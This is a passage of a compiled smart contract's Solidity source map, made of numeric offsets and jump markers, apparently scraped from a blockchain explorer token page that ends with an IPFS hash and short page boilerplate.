298:21:::1;::::0;21330:36:::1;::::0;-1:-1:-1;;;;;21343:10:0::1;21298:21:::0;21330:12:::1;:36::i;:::-;-1:-1:-1::0;;15726:16:0;:24;;-1:-1:-1;;;;15726:24:0;;;21142:232::o;21862:334::-;21972:7;21968:107;;21995:14;:12;:14::i;:::-;21968:107;;;22050:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21968:107;22089:37;22100:6;22108:9;22119:6;22089:10;:37::i;:::-;22151:7;22147:41;;22173:15;18846:17;;18835:8;:28;18884:15;;18874:7;:25;18922:16;;18911:8;:27;18791:156;995:98;1053:7;1080:5;1084:1;1080;:5;:::i;1105:98::-;1163:7;1190:5;1194:1;1190;:5;:::i;21382:472::-;21472:16;;;21486:1;21472:16;;;;;;;;21448:21;;21472:16;;;;;;;;;;-1:-1:-1;21472:16:0;21448:40;;21517:4;21499;21504:1;21499:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21499:23:0;;;:7;;;;;;;;;;:23;;;;21543:15;;:22;;;-1:-1:-1;;;21543:22:0;;;;:15;;;;;:20;;:22;;;;;21499:7;;21543:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21533:4;21538:1;21533:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21533:32:0;;;:7;;;;;;;;;:32;21608:15;;21576:62;;21593:4;;21608:15;21626:11;21576:8;:62::i;:::-;21649:15;;:197;;-1:-1:-1;;;21649:197:0;;-1:-1:-1;;;;;21649:15:0;;;;:66;;:197;;21730:11;;21649:15;;21773:4;;21800;;21820:15;;21649:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21437:417;21382:472;:::o;21022:112::-;21103:23;;-1:-1:-1;;;;;21103:15:0;;;:23;;;;;21119:6;;21103:23;;;;21119:6;21103:15;:23;;;;;;;;;;;;;;;;;;;;;21022:112;;:::o;18265:293::-;18311:8;;:13;:29;;;;-1:-1:-1;18328:7:0;;:12;18311:29;:46;;;;-1:-1:-1;18344:8:0;;:13;18311:46;18308:58;;;18265:293::o;18308:58::-;18394:7;;;18376:15;:25;18432:8;;;18413:16;:27;18472:8;;;18452:17;:28;-1:-1:-1;18491:11:0;;;;18513:12;;;;18536;18265:293::o;22206:558::-;22298:22;22322:17;22343:27;22354:7;22363:6;22343:10;:27::i;:::-;-1:-1:-1;;;;;22403:19:0;;;;;;:11;:19;;;;;;22297:73;;-1:-1:-1;22297:73:0;-1:-1:-1;22403:32:0;;22427:7;22403:23;:32::i;:::-;-1:-1:-1;;;;;22381:19:0;;;;;;;:11;:19;;;;;;:54;;;;22471:22;;;;;;;:42;;22498:14;22471:26;:42::i;:::-;-1:-1:-1;;;;;22446:22:0;;;;;;:11;:22;;;;;;:67;;;;22573:4;22553:26;;;;:41;;22584:9;22553:30;:41::i;:::-;22544:4;22524:26;;;;:11;:26;;;;;;;;:70;;;;-1:-1:-1;;;;;22608:20:0;;;;:9;:20;;;;;;22605:93;;;22656:40;18633:13;-1:-1:-1;;;;;22656:22:0;;;;;;:11;:22;;;;;;;:26;:40::i;:::-;-1:-1:-1;;;;;22631:22:0;;;;;;:11;:22;;;;;:65;22605:93;22730:9;-1:-1:-1;;;;;22713:43:0;22722:6;-1:-1:-1;;;;;22713:43:0;;22741:14;22713:43;;;;1596:25:1;;1584:2;1569:18;;1450:177;22713:43:0;;;;;;;;22286:478;;22206:558;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2714:247::-;2773:6;2826:2;2814:9;2805:7;2801:23;2797:32;2794:52;;;2842:1;2839;2832:12;2794:52;2881:9;2868:23;2900:31;2925:5;2900:31;:::i;2966:315::-;3034:6;3042;3095:2;3083:9;3074:7;3070:23;3066:32;3063:52;;;3111:1;3108;3101:12;3063:52;3147:9;3134:23;3124:33;;3207:2;3196:9;3192:18;3179:32;3220:31;3245:5;3220:31;:::i;:::-;3270:5;3260:15;;;2966:315;;;;;:::o;3539:388::-;3607:6;3615;3668:2;3656:9;3647:7;3643:23;3639:32;3636:52;;;3684:1;3681;3674:12;3636:52;3723:9;3710:23;3742:31;3767:5;3742:31;:::i;:::-;3792:5;-1:-1:-1;3849:2:1;3834:18;;3821:32;3862:33;3821:32;3862:33;:::i;3932:380::-;4011:1;4007:12;;;;4054;;;4075:61;;4129:4;4121:6;4117:17;4107:27;;4075:61;4182:2;4174:6;4171:14;4151:18;4148:38;4145:161;;4228:10;4223:3;4219:20;4216:1;4209:31;4263:4;4260:1;4253:15;4291:4;4288:1;4281:15;4145:161;;3932:380;;;:::o;5431:127::-;5492:10;5487:3;5483:20;5480:1;5473:31;5523:4;5520:1;5513:15;5547:4;5544:1;5537:15;5563:125;5628:9;;;5649:10;;;5646:36;;;5662:18;;:::i;6403:127::-;6464:10;6459:3;6455:20;6452:1;6445:31;6495:4;6492:1;6485:15;6519:4;6516:1;6509:15;6535:148;6623:4;6602:12;;;6616;;;6598:31;;6641:13;;6638:39;;;6657:18;;:::i;6688:128::-;6755:9;;;6776:11;;;6773:37;;;6790:18;;:::i;6821:175::-;6858:3;6902:4;6895:5;6891:16;6931:4;6922:7;6919:17;6916:43;;6939:18;;:::i;:::-;6988:1;6975:15;;6821:175;-1:-1:-1;;6821:175:1:o;7001:168::-;7074:9;;;7105;;7122:15;;;7116:22;;7102:37;7092:71;;7143:18;;:::i;7174:217::-;7214:1;7240;7230:132;;7284:10;7279:3;7275:20;7272:1;7265:31;7319:4;7316:1;7309:15;7347:4;7344:1;7337:15;7230:132;-1:-1:-1;7376:9:1;;7174:217::o;7528:251::-;7598:6;7651:2;7639:9;7630:7;7626:23;7622:32;7619:52;;;7667:1;7664;7657:12;7619:52;7699:9;7693:16;7718:31;7743:5;7718:31;:::i;7784:980::-;8046:4;8094:3;8083:9;8079:19;8125:6;8114:9;8107:25;8151:2;8189:6;8184:2;8173:9;8169:18;8162:34;8232:3;8227:2;8216:9;8212:18;8205:31;8256:6;8291;8285:13;8322:6;8314;8307:22;8360:3;8349:9;8345:19;8338:26;;8399:2;8391:6;8387:15;8373:29;;8420:1;8430:195;8444:6;8441:1;8438:13;8430:195;;;8509:13;;-1:-1:-1;;;;;8505:39:1;8493:52;;8600:15;;;;8565:12;;;;8541:1;8459:9;8430:195;;;-1:-1:-1;;;;;;;8681:32:1;;;;8676:2;8661:18;;8654:60;-1:-1:-1;;;8745:3:1;8730:19;8723:35;8642:3;7784:980;-1:-1:-1;;;7784:980:1:o

Swarm Source

ipfs://145d9b1dd179272685156a4be158c233929dd23d098e829821a93cfe5ef10082
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.